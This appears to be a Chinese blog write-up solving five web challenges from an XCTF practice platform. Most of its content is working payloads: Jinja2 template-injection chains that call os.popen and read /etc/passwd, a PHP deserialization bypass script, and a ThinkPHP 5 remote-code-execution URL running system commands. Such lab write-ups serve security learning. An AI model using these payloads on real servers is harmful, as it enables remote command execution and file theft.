前言
继续ctf的旅程
攻防世界web高手进阶区的1-5题
1、baby_web
进去是个1.php
页面里只有helloworld
按题意是说想看初始网页
猜测有index.php
结果直接跳转到1.php
查看源码
在index的请求头里发现flag
2、Training-WWW-Robots
这题不就是个robots嘛
没什么好说的了
进入robots.txt
发现php
进入php
发现flag
3、Web_python_template_injection
题目提示是python template injection
是SSTI。。。
。。。。。。
之前没接触过,现学
从零学习flask模板注入
寻找可用引用
{{''.__class__.__mro__[2].__subclasses__()}}
找到我们想要 的 os 所在的 site._Printer 类,它在列表的第72位
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
得到flag所在的位置
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
到手
也可以用
{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
得到flag
注:
几个有用的payload
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].popen('cat fl4g').read()
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[' os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
4、Web_php_unserialize
进来是这么一段源码
初始化传入值可以更改类中属性file的值
flag在fl4g.php
当demo实列销毁时会高亮显示file指向的文件内容
参数传入要求
先进行base64加密
preg_match()匹配绕过
unserialize() 反序列化执行_wakeup()的绕过
加密和反序列化都不是问题
关键是绕过正则匹配和_wakeup()
wakeup的绕过还行
当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过
正则的绕过不太懂
查了查是说用“+”即可
后来找到一篇解释
大佬笔记
最后得到脚本
class Demo {
private $file = 'fl4g.php'; //flag在fl4g.php
}
$a= serialize(new demo); //序列化
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$a= str_replace('O:4', 'O:+4',$a); //用“+”绕过preg_match
$a= str_replace(':1:', ':4:',$a); //把对象个数从1变成大于1的个数绕过wakeup
echo base64_encode($a); //加密
?>
运行得到payload
TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
放入url
得到flag
注:
关注版本问题
像“+”绕过正则是php5里的
5、php-rce
ThinkPHP版本5的相关漏洞
先随便输点东西试试
发现版本号
查了查漏洞
漏洞解析
拿个payload来试试
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls
发现可用
修改下,寻找flag
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
直接就有了
原文链接:https://blog.csdn.net/weixin_44604541/article/details/106675774